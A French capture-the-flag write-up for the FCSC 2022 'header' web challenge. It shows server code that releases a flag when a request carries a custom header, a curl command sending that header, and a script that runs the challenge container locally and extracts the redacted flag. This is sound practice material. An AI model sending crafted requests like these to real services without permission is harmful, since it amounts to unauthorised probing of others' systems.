Nous cliquons sur l’onglet Source
, nous voyonc ce qui d’apparente au programme tournant le serveur et ayant servi la page web affichée.
La partie de code suivante nous semble interessante, si une requête HTTP GET
est émise pour la ressource /
avec avec un entête HTTP X-FCSC-2022
ayant comme valeur Can I get a flag, please?
alors le contenu du fichier flag.txt
est envoyé à celui qui a émis la requête.
app.get('/', async (req, res) => {
var verif = req.header("X-FCSC-2022");
if (verif == "Can I get a flag, please?") {
var flag = fs.readFileSync("flag.txt");
res.status(200);
res.render("pages/index", {
type: "success",
msg: "Here it is: " + flag,
});
Nous pouvons utiliser la commande curl
comme ceci:
curl \
--silent \
--request GET \
--header "X-FCSC-2022: Can I get a flag, please?" \
http://localhost:8000/
Le script suivant automatise les opérations:
#!/bin/bash
set -e
if [ ! -f docker-compose.yml ]; then
wget https://hackropole.fr/challenges/fcsc2022-web-header/docker-compose.public.yml -O docker-compose.yml
fi
docker-compose up -d
while ! nc -z localhost 8000; do sleep 1; done
sleep 3
curl \
--silent \
--request GET \
--header "X-FCSC-2022: Can I get a flag, please?" \
http://localhost:8000/ | grep -oEi '(FCSC{.*})'
docker-compose down
Le résultat est le suivant:
Creating network "026_header_default" with the default driver
Creating 026_header_header_1 ... done
FCSC{xxxxxxxx}
Stopping 026_header_header_1 ... done
Removing 026_header_header_1 ... done
Removing network 026_header_default